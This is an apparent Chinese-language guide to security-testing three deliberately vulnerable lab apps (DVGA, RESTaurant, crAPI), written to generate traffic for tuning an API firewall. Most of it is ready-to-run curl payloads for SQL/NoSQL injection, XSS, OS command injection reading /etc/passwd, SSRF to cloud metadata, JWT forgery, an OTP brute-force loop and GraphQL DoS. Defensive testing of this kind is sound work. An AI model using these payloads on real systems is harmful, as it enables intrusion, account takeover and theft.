跳转到内容

API 测试指南

本指南对三个 API 安全测试应用中的每个 API 端点、已知漏洞及攻击载荷进行了系统整理。可用于为 F5 XC API 防护配置文件开发构建流量生成模式。

应用协议路径端口认证漏洞
DVGAGraphQL/dvga/80无(管理员:admin/password)25 个场景
RESTaurantREST (FastAPI)/restaurant/80JWT(表单编码)7 个 OWASP API 2023 类别
crAPIREST(微服务)/8888JWT(Bearer)18+ 个挑战
Terminal window
ORIGIN="http://<ORIGIN_IP>"
CRAPI="http://<ORIGIN_IP>:8888"

DVGA(Damn Vulnerable GraphQL Application)

Section titled “DVGA(Damn Vulnerable GraphQL Application)”

GraphQL 端点: POST ${ORIGIN}/dvga/graphql GraphiQL IDE: GET ${ORIGIN}/dvga/ 管理员凭据: admin / password

所有 DVGA 交互均使用单一端点(/dvga/graphql),通过包含 JSON {"query":"..."} 载荷的 POST 请求进行。

Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnostics
Mutations: createPaste, importPaste, uploadPaste
Types: PasteObject (id, title, content, public, owner, ipAddr, userAgent)
OwnerObject (id, username, pastes) ← 循环引用
操作类型认证用途
pastes(public, filter, limit)Query列出 paste(filter 参数存在 SQL 注入)
paste(id)Query获取单条 paste
me(token)Query通过 JWT 获取用户(存在伪造漏洞)
systemHealthQuery健康检查
systemUpdateQuery慢查询(约 82 秒,DoS 攻击向量)
systemDiagnostics(cmd)Queryadmin/password执行白名单 OS 命令
createPaste(title, content, public)Mutation创建 paste(content 存在 XSS)
importPaste(host, port, path, scheme)Mutation导入远程 paste(SSRF、命令注入)
uploadPaste(filename, content)Mutation上传 paste(路径遍历)

批量查询攻击:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'

深度递归(Owner/Paste 循环引用):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'

资源密集型查询(响应时间约 82 秒):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemUpdate}"}'

字段重复(重复字段 500 次以上):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'

别名攻击(1000 个别名操作):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'

自省查询(完整 Schema 枚举):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'

字段建议(拼写错误揭示有效字段):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{titl}}"}'

通过 importPaste 实现 SSRF(探测内部服务):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'

通过 filter 参数进行 SQL 注入:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'

通过 createPaste 实现存储型 XSS:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'

日志注入(操作名称欺骗):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'

通过 importPaste 进行 OS 命令注入:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'

通过 systemDiagnostics 执行 OS 命令(需要管理员认证):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'

JWT Token 伪造(接受未签名 Token):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'

通过 uploadPaste 任意文件写入(路径遍历):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'

RESTaurant API(Damn Vulnerable RESTaurant)

Section titled “RESTaurant API(Damn Vulnerable RESTaurant)”

Swagger UI: ${ORIGIN}/restaurant/docs OpenAPI 规范: ${ORIGIN}/restaurant/openapi.json 认证方式: 通过表单编码的 POST 请求向 /restaurant/token 获取 JWT 角色: Customer(默认)、Employee、Chef(管理员)

Terminal window
# 注册测试用户
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# 获取 JWT Token(注意:使用表单编码,而非 JSON)
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"
端点方法认证角色漏洞
/restaurant/registerPOST用户创建
/restaurant/tokenPOSTJWT 弱密钥(97952)
/restaurant/healthcheckGET健康检查
/restaurant/profileGET任意用户资料
/restaurant/profilePUT任意BOLA(修改其他用户)
/restaurant/profilePATCH任意BOPLA(批量分配角色)
/restaurant/users/update_rolePUT任意BFLA(角色提权)
/restaurant/menuGET任意列出菜单项
/restaurant/menuPUTEmployee+创建菜单(图片存在 SSRF
/restaurant/menu/{item_id}PUTEmployee+更新菜单(图片存在 SSRF
/restaurant/menu/{item_id}DELETE任意BFLA(任意用户可删除)
/restaurant/ordersGET任意BOLA(查看所有订单)
/restaurant/ordersPOST任意创建订单
/restaurant/orders/{order_id}GET任意BOLA(访问他人订单)
/restaurant/orders/status/{order_id}GET任意订单状态
/restaurant/admin/stats/diskGETChef命令注入
/restaurant/reset-passwordPOST密码重置请求
/restaurant/reset-password/new-passwordPOST设置新密码
/restaurant/referral-codeGET任意获取推荐码
/restaurant/apply-referralPOST任意应用推荐码
/restaurant/discount-couponsGET任意列出优惠券

API1:2023 — 对象级授权失效(BOLA)

Section titled “API1:2023 — 对象级授权失效(BOLA)”

修改其他用户的资料:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'

访问其他用户的订单(枚举 offset):

Terminal window
for i in 1 2 3 4 5; do
curl -sf ${ORIGIN}/restaurant/orders/${i} \
-H "Authorization: Bearer ${TOKEN}" 2>&1
echo ""
done

JWT 弱密钥爆破(密钥为 6 位数字:97952):

Terminal window
# 在 jwt.io 中解码并伪造 Token
# 密钥:97952(可通过 hashcat -a 3 -m 16500 token '?d?d?d?d?d?d' 爆破)
# 伪造 Chef 角色 Token:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"chef","exp":9999999999}
# 使用密钥 97952 签名

API3:2023 — 对象属性级授权失效(BOPLA)

Section titled “API3:2023 — 对象属性级授权失效(BOPLA)”

批量分配角色(从 Customer 提升至 Chef):

Terminal window
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

提权路径:Customer → Employee → Chef:

Terminal window
# 第一步:提权至 Employee
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Employee"}'
# 第二步:提权至 Chef
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

API5:2023 — 功能级授权失效(BFLA)

Section titled “API5:2023 — 功能级授权失效(BFLA)”

以 Customer 身份删除菜单项(本应要求 Employee+ 权限):

Terminal window
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \
-H "Authorization: Bearer ${TOKEN}"

修改其他用户的角色:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/users/update_role \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","role":"Customer"}'

API7:2023 — 服务端请求伪造(SSRF)

Section titled “API7:2023 — 服务端请求伪造(SSRF)”

通过菜单 image_url 探测内部端点(需要 Employee 角色):

Terminal window
# 先通过 BOPLA 提权至 Employee,然后:
curl -X PUT ${ORIGIN}/restaurant/menu \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'

通过磁盘统计端点进行 OS 命令注入(需要 Chef 角色):

Terminal window
# 提权至 Chef 后:
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \
-H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \
-H "Authorization: Bearer ${TOKEN}"
Terminal window
# 1. 注册
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. 获取 Token
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. 提权至 Chef(BOPLA)
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'
# 4. 重新认证以获取 Chef 级别 Token
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. 命令注入(RCE)
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \
-H "Authorization: Bearer ${TOKEN}"

crAPI(OWASP Completely Ridiculous API)

Section titled “crAPI(OWASP Completely Ridiculous API)”

Web UI: ${CRAPI}/ MailHog: ${CRAPI}/mailhog/(邮件捕获,用于验证) 认证方式: JWT Bearer Token(RS256,存在算法混淆漏洞) 架构: 7 个微服务(identity、community、workshop、postgres、mongo、mailhog、web)

初始化:注册、验证邮箱、登录

Section titled “初始化:注册、验证邮箱、登录”
Terminal window
# 1. 注册
curl -X POST ${CRAPI}/identity/api/auth/signup \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. 在 MailHog 中查看验证邮件
# 访问 ${CRAPI}/mailhog/ 或使用 MailHog API:
curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "
import sys,json
msgs = json.load(sys.stdin)['items']
for m in msgs:
print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")
"
# 3. 登录并获取 JWT Token
TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"
端点方法认证漏洞
/identity/api/auth/signupPOST注册
/identity/api/auth/loginPOSTJWT Token(算法混淆)
/identity/api/auth/forget-passwordPOST请求 OTP
/identity/api/auth/v2/check-otpPOST无速率限制(爆破 4 位 OTP)
/identity/api/auth/v3/check-otpPOST有速率限制的版本
/identity/api/v2/user/dashboardGET用户资料
/identity/api/v2/user/change-emailPUT修改邮箱
/identity/api/v2/vehicle/vehiclesGET列出车辆(泄露 UUID)
/identity/api/v2/vehicle/{uuid}/locationGETBOLA(访问任意用户的车辆)
/identity/api/v2/user/videosPOST视频上传
/identity/api/v2/user/videos/{id}GET数据暴露(conversion_params)
/identity/api/v2/user/videos/{id}PUT批量赋值(命令注入)
/identity/api/v2/admin/videos/{id}DELETEBFLA(无管理员权限检查)
端点方法认证漏洞
/community/api/v2/community/postsGET数据暴露(泄露 vehicle_id、email)
/community/api/v2/community/postsPOST创建博客文章
/community/api/v2/community/posts/{id}/commentsPOST添加评论
/community/api/v2/coupon/validate-couponPOSTNoSQL 注入
端点方法认证漏洞
/workshop/api/mechanicGET数据暴露(技师邮箱泄露)
/workshop/api/mechanic/mechanic_reportGETBOLA(无需认证,顺序 ID)
/workshop/api/merchant/contact_mechanicPOSTSSRF + DoS
/workshop/api/shop/productsGET商品目录
/workshop/api/shop/orders/POST创建订单
/workshop/api/shop/orders/allGET列出订单
/workshop/api/shop/orders/{id}GETBOLA(无需认证)
/workshop/api/shop/orders/{id}PUT批量赋值(status、quantity)
/workshop/api/shop/apply_couponPOSTSQL 注入

挑战 1 — BOLA:访问其他用户的车辆位置

Section titled “挑战 1 — BOLA:访问其他用户的车辆位置”
Terminal window
# 先获取自己的车辆 UUID
curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \
-H "Authorization: Bearer ${TOKEN}"
# 访问其他用户的车辆(替换 UUID)
curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \
-H "Authorization: Bearer ${TOKEN}"

挑战 2 — BOLA:无需认证访问技师报告

Section titled “挑战 2 — BOLA:无需认证访问技师报告”
Terminal window
# 顺序 ID 枚举——无需 Token
for i in 1 2 3 4 5; do
echo "Report $i:"
curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}"
echo ""
done

挑战 3 — 认证失效:爆破密码重置 OTP

Section titled “挑战 3 — 认证失效:爆破密码重置 OTP”
Terminal window
# 为目标用户请求 OTP
curl -X POST ${CRAPI}/identity/api/auth/forget-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}'
# 爆破 4 位 OTP(v2 无速率限制)
for otp in $(seq -w 0000 9999); do
RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1)
echo "$otp: $RESULT" | grep -v "Invalid OTP" && break
done

挑战 4 — 数据暴露:泄露技师邮箱

Section titled “挑战 4 — 数据暴露:泄露技师邮箱”
Terminal window
curl -sf ${CRAPI}/workshop/api/mechanic \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool

挑战 5 — 数据暴露:内部视频转换参数泄露

Section titled “挑战 5 — 数据暴露:内部视频转换参数泄露”
Terminal window
# 上传视频,然后检查响应
curl -sf ${CRAPI}/identity/api/v2/user/videos \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool
# 在响应中查找 conversion_params 字段

挑战 6 — DoS:通过 Contact Mechanic 发起 7 层攻击

Section titled “挑战 6 — DoS:通过 Contact Mechanic 发起 7 层攻击”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"Engine issue",
"vin":"VEHICLE_VIN",
"mechanic_api":"http://localhost:8080/api",
"repeat_request_if_failed":true,
"number_of_repeats":100
}'

挑战 7 — BFLA:通过管理员端点删除视频

Section titled “挑战 7 — BFLA:通过管理员端点删除视频”
Terminal window
# 普通用户可以访问管理员端点
curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \
-H "Authorization: Bearer ${TOKEN}"

挑战 8 & 9 — 批量赋值:通过订单操纵获取免费商品

Section titled “挑战 8 & 9 — 批量赋值:通过订单操纵获取免费商品”
Terminal window
# 将 GET 改为 PUT,修改 status 和 quantity
curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status":"returned","quantity":100}'

挑战 10 — 通过视频转换参数进行命令注入

Section titled “挑战 10 — 通过视频转换参数进行命令注入”
Terminal window
curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'

挑战 11 — 通过 Contact Mechanic 实现 SSRF

Section titled “挑战 11 — 通过 Contact Mechanic 实现 SSRF”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"test",
"vin":"VIN123",
"mechanic_api":"http://169.254.169.254/latest/meta-data/",
"repeat_request_if_failed":false,
"number_of_repeats":0
}'

挑战 12 — NoSQL 注入:提取优惠券码

Section titled “挑战 12 — NoSQL 注入:提取优惠券码”
Terminal window
curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"coupon_code":{"$ne":1}}'

挑战 13 — SQL 注入:重复兑换优惠券

Section titled “挑战 13 — SQL 注入:重复兑换优惠券”
Terminal window
curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"
Terminal window
# 无需 Authorization 请求头——仍可返回数据
for i in 1 2 3 4 5; do
curl -sf ${CRAPI}/workshop/api/shop/orders/${i}
echo ""
done
Terminal window
# 伪造算法为 "none" 的 JWT(无需签名验证):
# 1. 设置 Header:{"alg":"none","typ":"JWT"} 并进行 base64url 编码
# 2. 设置 Payload:{"email":"admin@example.com","role":"admin"} 并进行 base64url 编码
# 3. 用点号连接,签名留空:<header>.<payload>.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \
-H "Authorization: Bearer ${FORGED}"

OWASP 类别DVGARESTaurantcrAPI
API1: BOLAPUT /profileGET /orders/{id}车辆位置、技师报告、订单
API2: 认证失效JWT 伪造(me 查询)JWT 弱密钥(97952)OTP 爆破(v2)、JWT 算法混淆
API3: BOPLAPATCH /profile(角色提权)视频 conversion_params、技师邮箱暴露
API4: 资源消耗批量、递归、别名、字段重复 DoS通过响应长度枚举用户contact_mechanic repeat_request DoS
API5: BFLADELETE /menuPUT /users/update_role以普通用户身份调用 DELETE /admin/videos
API6: 批量赋值PUT /orders(status、quantity)订单 status/quantity、视频 conversion_params
API7: SSRFimportPaste mutationPUT /menu image_urlcontact_mechanic mechanic_api URL
API8: 注入SQL(filter)、XSS(content)、OS 命令(importPastesystemDiagnosticsOS 命令(/admin/stats/disk?parameters=NoSQL(validate-coupon)、SQL(apply_coupon
API9: 资产管理不当已废弃的 /auth/v2/check-otp(无速率限制)
API10: 不安全的第三方 API 消费(通过 SSRF 间接触发)
GraphQL 特有自省查询、批量请求、递归、别名、字段重复、循环片段

阶段一:基线流量(正常路径)

Section titled “阶段一:基线流量(正常路径)”

在测试攻击模式之前,先生成合法流量以建立正常 API 行为基准。

DVGA 基线:

Terminal window
# 正常查询
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'

RESTaurant 基线:

Terminal window
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"
curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"
curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'

crAPI 基线:

Terminal window
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"

阶段二:按 OWASP 类别划分的攻击流量

Section titled “阶段二:按 OWASP 类别划分的攻击流量”

BOLA 测试: 枚举顺序 ID,在请求中替换用户标识符,访问非本人所有的资源。

注入测试: 在 filter/coupon 参数中注入 SQL 载荷,GraphQL 查询注入,通过参数字段进行 OS 命令注入。

认证绕过测试: 伪造 JWT Token,爆破 OTP,使用已废弃的 API 版本,算法混淆攻击。

SSRF 测试:importPasteimage_urlmechanic_api 参数中使用内部 URL。

DoS 测试: GraphQL 批量/递归/别名攻击,将 repeat_request_if_failed 设置为较大次数。

部分攻击需要多步骤序列并维持状态:

  1. RESTaurant 提权链: 注册 → 获取 Token → PATCH 角色为 Chef → 重新认证 → 命令注入
  2. crAPI 完整流程: 注册 → 验证邮箱(MailHog) → 登录 → 添加车辆 → 联系技师(SSRF) → 订单操纵
  3. DVGA 侦察到利用: 自省查询 → 发现 systemDiagnostics → 爆破管理员凭据 → 执行 OS 命令
模式请求数/秒持续时间备注
基线(每个应用)10-505 分钟建立正常流量指纹
BOLA 枚举100-5002 分钟顺序 ID 扫描
OTP 爆破1000+直至成功最多 10,000 次尝试(4 位数字)
GraphQL DoS10-5030 秒每个请求对服务器侧消耗较大
注入模糊测试50-2005 分钟每次请求使用不同载荷
SSRF 探测5-202 分钟速度慢;每次触发服务器侧 HTTP 请求